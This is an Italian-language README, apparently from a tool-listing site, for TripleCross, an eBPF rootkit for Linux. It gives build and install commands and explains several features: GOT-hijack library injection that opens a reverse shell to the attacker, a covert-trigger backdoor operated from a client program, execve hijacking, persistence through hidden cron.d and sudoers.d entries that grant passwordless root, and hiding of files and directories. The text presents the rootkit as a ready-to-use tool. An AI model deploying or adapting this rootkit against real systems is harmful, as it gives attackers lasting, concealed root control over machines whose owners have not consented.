La seguente tabella descrive in dettaglio lo scopo di ciascun Makefile:

| MAKEFILE  | COMANDO | DESCRIZIONE | FILE RISULTANTI |
| ------------- | ------------- | ------------- | ------------- |
| src/client/Makefile  | make  | Compilazione del client rootkit | src/client/injector |
| src/Makefile  | make help  | Compilazione dei programmi per testare le capacità del rootkit, e il programma malevolo e la libreria dei moduli di hijacking dell'esecuzione e di iniezione di librerie, rispettivamente | src/helpers/simple_timer, src/helpers/simple_open, src/helpers/simple_execve, src/helpers/lib_injection.so, src/helpers/execve_hijack |
| src/Makefile | make kit | Compilazione del rootkit utilizzando la libreria libbpf | src/bin/kit |
| src/Makefile | make tckit | Compilazione del programma TC egress del rootkit | src/bin/tc.o |

### Installazione
Una volta generati i file del rootkit in src/bin/, i programmi *tc.o* e *kit* devono essere caricati in ordine. Nell'esempio seguente, la backdoor del rootkit opererà nell'interfaccia di rete *enp0s3*:```
// TC egress program
sudo tc qdisc add dev enp0s3 clsact
sudo tc filter add dev enp0s3 egress bpf direct-action obj bin/tc.o sec classifier/egress
// Libbpf-powered rootkit
sudo ./bin/kit -t enp0s3

### Iniezione di libreria tramite tecnica di hijacking del GOT
La tecnica incorporata in TripleCross consiste in 5 fasi:

#### Localizzazione del GOT e dell'indirizzo di ritorno
Il rootkit aggancia la system call utilizzando un programma tracepoint. Da lì, individua l'indirizzo nella sezione GOT che lo stub PLT ha usato per effettuare la chiamata alla funzione glibc responsabile della syscall.

Per raggiungere la sezione GOT, il programma eBPF utilizza l'indirizzo di ritorno memorizzato nello stack. Nota che:
* Il .text effettua una *call* al .plt, quindi *rip* viene salvato come *ret* nello stack.
* Il .plt effettua un *jump* a glibc usando .got, quindi nessun altro *rip* viene salvato. Inoltre non modifica né salva il valore di *rbp*.
* Glibc effettua una *syscall*, che non salva *rip* nello stack, ma lo salva in *rcx*.

<img src="https://assets.kitploit.com/production/public/readmes/5614/d216fa5b7b656bb52587027db28f3e3902fa8389d0b2944a1f7e870d6d2e6bee.jpg" float="left">

Pertanto, per verificare da eBPF che un indirizzo nello stack sia l'indirizzo di ritorno che ci condurrà al GOT corretto, dobbiamo controllare che sia l'indirizzo di ritorno dello stub PLT che utilizza l'indirizzo GOT che salta alla funzione glibc che effettua la system call che abbiamo agganciato da eBPF.

Sono state incorporate due tecniche per trovare l'indirizzo di ritorno:
* Con sys_timerfd_settime, il programma eBPF scansiona in avanti utilizzando gli argomenti della syscall.
* Con sys_openat, il programma eBPF utilizza i dati nella struttura *pt_regs* dei tracepoint per scansionare l'indirizzo di ritorno.

<img src="https://assets.kitploit.com/production/public/readmes/5614/61217fb3fd84bec65cbbee906dd27860e5e1c211912cfe450ea4cf9051fa480b.png" float="left">


#### Localizzazione delle funzioni chiave per lo shellcode
Lo shellcode deve essere generato dinamicamente per bypassare ASLR e PIE, che cambiano l'indirizzo di funzioni come dlopen() ad ogni esecuzione del programma.

<img src="https://assets.kitploit.com/production/public/readmes/5614/6cbb620495d8cb9711e499fd5b1ae9ea845c03d0c33019cf008b456a95d5ddd6.png" float="left">


#### Iniezione dello shellcode in una code cave
Una code cave può essere trovata tramite reverse engineering di un ELF se ASLR e PIE sono disattivati, ma di solito non è così. Il programma eBPF invia una richiesta a un programma rootkit nello spazio utente che utilizza il filesystem /proc per localizzare e scrivere in una code cave nella sezione .text (eseguibile).

<img src="https://assets.kitploit.com/production/public/readmes/5614/c7daea0eed684437b5c7d971d0f69f5aac9138861d44da36c5368be9f97666d1.png" float="left">

#### Sovrascrittura della sezione GOT
A seconda che RELRO Parziale o Completo sia attivo sull'eseguibile, il programma eBPF sovrascrive la sezione GOT direttamente o tramite il filesystem /proc.

<img src="https://assets.kitploit.com/production/public/readmes/5614/7e69ec2982ee8c77c39b42f364ab25e52c40d96890f7413b3afe04dde1b825c3.png" float="left">

#### Attesa della prossima system call
Quando viene emessa la prossima syscall nel programma dirottato, la sezione PLT utilizza la sezione GOT modificata, dirottando il flusso di esecuzione che viene reindirizzato allo shellcode nella code cave. Lo shellcode è preparato per evitare che il programma si blocchi, e chiama la libreria dannosa (*src/helpers/lib_injection.so*). Questa libreria esegue un fork() e genera una reverse shell con la macchina dell'attaccante. Successivamente il flusso di esecuzione viene ripristinato.

<img src="https://assets.kitploit.com/production/public/readmes/5614/4e780cbcba855fe11a55f6a34709d83d855a4235960b15b69470233147f04318.png" float="left">



## Backdoor e C2
La backdoor funziona immediatamente senza necessità di configurazione. La backdoor può essere controllata remotamente utilizzando il programma client del rootkit:

| CLIENT ARGUMENTS | ACTION DESCRIPTION |
| ------------- | ------------- |
| ./injector -c \<Victim IP\> | Genera una pseudo-shell in chiaro utilizzando il modulo di hijacking dell'esecuzione |
| ./injector -e \<Victim IP\> | Genera una pseudo-shell crittografata comandando la backdoor con un trigger basato su pattern |
./injector -s \<Victim IP\> | Genera una pseudo-shell crittografata comandando la backdoor con un trigger multi-pacchetto (di entrambi i tipi) |
./injector -p \<Victim IP\> | Genera una phantom shell comandando la backdoor con un trigger basato su pattern |
./injector -a \<Victim IP\> | Ordina al rootkit di attivare tutti i programmi eBPF |
./injector -u \<Victim IP\> | Ordina al rootkit di scollegare tutti i suoi programmi eBPF |
./injector -S \<Victim IP\> | Mostra come la backdoor può nascondere un messaggio dal kernel (Simple PoC) |
| ./injector -h | Mostra l'aiuto |

### Trigger della backdoor

Le azioni vengono inviate alla backdoor utilizzando trigger della backdoor, che indicano alla backdoor l'azione da eseguire in base al valore dell'attributo **K3**:

| K3 VALUE | ACTION |
| ------------- | ------------- |
| 0x1F29 | Richiesta di avviare una connessione pseudo-shell crittografata |
| 0x4E14 | Richiesta di avviare una connessione phantom shell |
| 0x1D25 | Richiesta di caricare e allegare tutti i programmi eBPF del rootkit |
| 0x1D24 | Richiesta di scollegare tutti i programmi eBPF del rootkit (eccetto quelli della backdoor) |


#### Trigger basato su pattern
Questo trigger nasconde il comando e le informazioni del client in modo che possano essere riconosciuti dalla backdoor, ma allo stesso tempo appaiono sufficientemente casuali per un supervisore di rete esterno. È basato sul trigger utilizzato dal rootkit NSA recentemente scoperto [Bvp47](https://www.pangulab.cn/files/The_Bvp47_a_top-tier_backdoor_of_us_nsa_equation_group.en.pdf).

<img src="https://assets.kitploit.com/production/public/readmes/5614/58cec7ee2dbd89b6c7d71d60c006a1a98d7b9165b20bdbe006467a82d5dc30ab.png" float="left">

#### Trigger multi-pacchetto
Questo trigger consiste di più pacchetti TCP in cui il payload della backdoor è nascosto negli header dei pacchetti. Questo design è basato sull'impianto CIA [Hive](https://wikileaks.org/vault7/document/hive-DevelopersGuide/hive-DevelopersGuide.pdf) descritto nella fuga di Vault 7. Viene utilizzato il seguente payload:

<img src="https://assets.kitploit.com/production/public/readmes/5614/45a8348c3d366af4941d9cca845c281fc8c5a565353fc8fe3fb91350f39dd5f8.png" float="left">

Viene quindi calcolato uno XOR rolling sul payload sopra e viene diviso in più parti, a seconda della modalità selezionata dal client del rootkit. TripleCross supporta payload nascosti nel numero di sequenza TCP:

<img src="https://assets.kitploit.com/production/public/readmes/5614/2b9d7fd46f7133e3eeda694e0b4791fbed2a51616b7d2f14e989a9e0e56af9e2.png" float="left">

E nella porta sorgente TCP:

<img src="https://assets.kitploit.com/production/public/readmes/5614/1a6ea6da628a9902eaf55cc3c1549a2ecf26cba211275acdce6bc5491b34140c.png" float="left">

### Pseudo-shell della backdoor
Il client può stabilire pseudo-shell del rootkit, una speciale connessione client rootkit-a-rootkit che simula un programma shell, consentendo all'attaccante di eseguire comandi Linux da remoto e ottenere i risultati come se li stesse eseguendo direttamente sulla macchina infetta. Nel nostro rootkit sono incorporate diverse pseudo-shell:

#### Pseudo-shell in chiaro
Questa shell viene generata dopo un'esecuzione riuscita del modulo di hijacking dell'esecuzione, che eseguirà un file dannoso che stabilisce una connessione con il client del rootkit come segue:

<img src="https://assets.kitploit.com/production/public/readmes/5614/6495b5b62c33ae136b8c965658d9c5f501e609029bde7fcefe7266966f8effbb.png" float="left">
<img src="https://assets.kitploit.com/production/public/readmes/5614/5301e208d9853760eabdc14772c57a3639f28d71d050ee82d151bff93a76cedf.png" float="right">

#### Pseudo-shell crittografata
Una pseudo-shell crittografata può essere richiesta dal client del rootkit in qualsiasi momento, consistente in una connessione TLS tra il rootkit e il client del rootkit. All'interno della connessione crittografata, viene seguito un protocollo di trasmissione per comunicare comandi e informazioni, simile a quello delle pseudo-shell in chiaro.

Per generare una pseudo-shell crittografata è necessario che la backdoor ascolti i trigger, che accetta sia trigger basati su pattern che entrambi i tipi di trigger multi-pacchetto:

<img src="https://assets.kitploit.com/production/public/readmes/5614/d4929247af8895f78522f28c4ac8087e74d76b91320c67e0b37ea841cd8869d0.png" float="left">
<img src="https://assets.kitploit.com/production/public/readmes/5614/6e2a72d04028212a4917397b75b052a4bdf3c0529fb6c5e336b7fc0a06571728.png" float="right">

#### Phantom shell
Una phantom shell utilizza una combinazione di programmi XDP e TC per superare le limitazioni di eBPF sulla rete, in particolare che non può generare nuovi pacchetti. Per questo, la backdoor modifica il traffico esistente, sovrascrivendo il payload con i dati della trasmissione C2. I pacchetti originali non vengono persi poiché le ritrasmissioni TCP inviano nuovamente il pacchetto originale (senza modifiche) dopo un breve periodo.

Il seguente protocollo illustra il traffico durante l'esecuzione di un comando utilizzando una phantom shell:
<img src="https://assets.kitploit.com/production/public/readmes/5614/0aafe6b672757e4e9d37402c72ce14893a8a7f198030b2f2386df631c345d16b.png" float="left">

Una phantom shell viene richiesta dal client del rootkit che emette un comando da eseguire da parte della backdoor:

<img src="https://assets.kitploit.com/production/public/readmes/5614/e07dec48ff6a22e708b6d4b0d762473cc6483f065011cd6cdccdac49f12f916b.png" float="left">

Dopo che la macchina infetta invia un qualsiasi pacchetto TCP, la backdoor lo sovrascrive e il client mostra la risposta:

<img src="https://assets.kitploit.com/production/public/readmes/5614/19bea585b78a0bb1d52aa7c63ff05a0111551a0cc767732775491641e1dec021.png" float="left">


## Modulo di hijacking dell'esecuzione
In linea di principio, un programma eBPF non può avviare l'esecuzione di un programma da solo. Questo modulo mostra come un rootkit dannoso possa sfruttare programmi benigni per eseguire codice dannoso nello spazio utente. Questo modulo raggiunge due obiettivi:
* Eseguire un programma utente dannoso sfruttando l'esecuzione di un altro programma.
* Essere trasparente per lo spazio utente, cioè, se dirottiamo l'esecuzione di un programma in modo che un altro venga eseguito, anche il programma originale dovrebbe essere eseguito con il minimo ritardo.

Questo modulo funziona dirottando la syscall sys_execve(), modificando i suoi argomenti in modo che venga eseguito invece un programma dannoso (*src/helpers/execve_hijack.c*). Questa modifica è fatta in modo tale che il programma dannoso possa successivamente eseguire il programma originale con gli argomenti originali per evitare di destare sospetti nello spazio utente. Il seguente diagramma riassume la funzionalità complessiva:

<img src="https://assets.kitploit.com/production/public/readmes/5614/601610696506e303f91a7957ec2a3d61f73f7d0e036430a9f67bd80a6f19b2d3.png" float="left">

Gli argomenti della chiamata originale sys_execve() vengono modificati in modo tale che gli argomenti originali non vengano persi (utilizzando argv[0]) in modo che il programma originale possa essere eseguito dopo quello dannoso:

<img src="https://assets.kitploit.com/production/public/readmes/5614/e483317a3bdac422cdfc49ca92acdcefe624ddceb5b2ed036ccec141c8d1e5e6.png" float="left">

Abbiamo incorporato un programma di test di esempio (*src/helpers/simple_execve.c*) per testare il modulo di hijacking dell'esecuzione. Il modulo può anche dirottare qualsiasi chiamata nel sistema, a seconda della configurazione:

| FILENAME | CONSTANT | DESCRIPTION |
| ------------- | ------------- | ------------- |
| src/common/constants.h | PATH_EXECUTION_HIJACK_PROGRAM | Posizione del programma dannoso da eseguire in caso di successo nell'esecuzione di una chiamata sys_execve |
| src/common/constants.h | EXEC_HIJACK_ACTIVE | Disattiva (0) o attiva (1) il modulo di hijacking dell'esecuzione |
| src/common/constants.h | TASK_COMM_RESTRICT_HIJACK_ACTIVE | Dirotta qualsiasi chiamata sys_execve (0) o solo quelle indicate in TASK_COMM_NAME_RESTRICT_HIJACK (1) |
| src/common/constants.h | TASK_COMM_NAME_RESTRICT_HIJACK | Nome del programma da cui dirottare le chiamate sys_execve |

Dopo un hijack riuscito, il modulo si fermerà da solo. Il programma dannoso *execve_hijack* resterà in ascolto di richieste di una pseudo-shell in chiaro da parte del client del rootkit.

## Persistenza del rootkit
Dopo il riavvio della macchina infetta, tutti i programmi eBPF verranno scaricati dal kernel e il programma rootkit in spazio utente verrà terminato. Inoltre, anche se il rootkit potesse essere eseguito di nuovo automaticamente, non godrebbe più dei privilegi di root necessari per allegare nuovamente i programmi eBPF. Il modulo di persistenza del rootkit mira ad affrontare queste due sfide:
* Eseguire il rootkit automaticamente e senza interazione dell'utente dopo un evento di riavvio della macchina.
* Una volta che il rootkit ha acquisito i privilegi di root la prima volta che viene eseguito sulla macchina, deve mantenerli anche dopo un riavvio.

TripleCross utilizza due file segreti, creati sotto *cron.d* e *sudoers.d*, per implementare questa funzionalità. Queste voci garantiscono che il rootkit venga caricato automaticamente e con pieni privilegi dopo un riavvio. Questi file sono creati e gestiti dallo script *deployer&#46;sh*:

<img src="https://assets.kitploit.com/production/public/readmes/5614/88500b779b9ad5ba771803900a8abfffd08f3a6be59518e690534779a4134cf8.png" float="left">
<img src="https://assets.kitploit.com/production/public/readmes/5614/5ae61ed98af6d7c8aa9448fed3de553712ffb5c63e95d98a6f4300ff407bce23.png" float="right">

Lo script contiene due costanti che devono essere configurate per l'utente da infettare sul sistema di destinazione:

| SCRIPT | CONSTANT | DESCRIPTION |
| ------------- | ------------- | ------------- |
| src/helpers/deployer.sh | CRON_PERSIST | Job cron da eseguire dopo il riavvio |
| src/helpers/deployer.sh | SUDO_PERSIST | Voce sudo per garantire privilegi senza password |

## Furtività del rootkit
Il modulo di persistenza si basa sulla creazione di file aggiuntivi, ma questi potrebbero eventualmente essere trovati dal proprietario del sistema o da qualche strumento software, quindi esiste il rischio di lasciarli nel sistema. Inoltre, i file del rootkit dovranno essere memorizzati in qualche posizione, in cui potrebbero essere scoperti.

Tenendo conto di quanto sopra, il modulo di furtività fornisce le seguenti funzionalità:
* Nascondere completamente una directory all'utente (in modo da poter nascondere tutti i file del rootkit all'interno).
* Nascondere file specifici in una directory (dobbiamo nascondere i file di persistenza, ma non possiamo nascondere completamente le directory *sudoers.d* o *cron.d*, poiché appartengono al normale funzionamento del sistema).

I file e le directory nascosti dal rootkit possono essere personalizzati tramite le seguenti costanti di configurazione:

| FILENAME | CONSTANT | DESCRIPTION |
| ------------- | ------------- | ------------- |
| src/common/constants.h | SECRET_DIRECTORY_NAME_HIDE | Nome della directory da nascondere |
| src/common/constants.h | SECRET_FILE_PERSISTENCE_NAME | Nome del file da nascondere |

Per impostazione predefinita, TripleCross nasconderà tutti i file chiamati "*ebpfbackdoor*" e una directory denominata "*SECRETDIR*". Questo modulo viene attivato automaticamente dopo l'installazione del rootkit.

La tecnica utilizzata per ottenere questa funzionalità consiste nell'alterare gli argomenti della system call sys_getdents():

<img src="https://assets.kitploit.com/production/public/readmes/5614/7f928351c1c07e7b6a534846c5374788449e03455191cddf8c7f02af2c885852.png" float="left">



## Licenza
Il rootkit TripleCross e il client del rootkit sono concessi in licenza sotto la licenza GPLv3. Vedi [LICENSE](https://github.com/h3xduck/TripleCross/blob/master/LICENSE).

La libreria [RawTCP_Lib](https://github.com/h3xduck/RawTCP_Lib) è concessa in licenza sotto la licenza MIT.

Il documento originale della tesi e le figure incluse sono rilasciati sotto [Creative Commons BY-NC-ND 4.0](https://creativecommons.org/licenses/by-nc-nd/4.0/).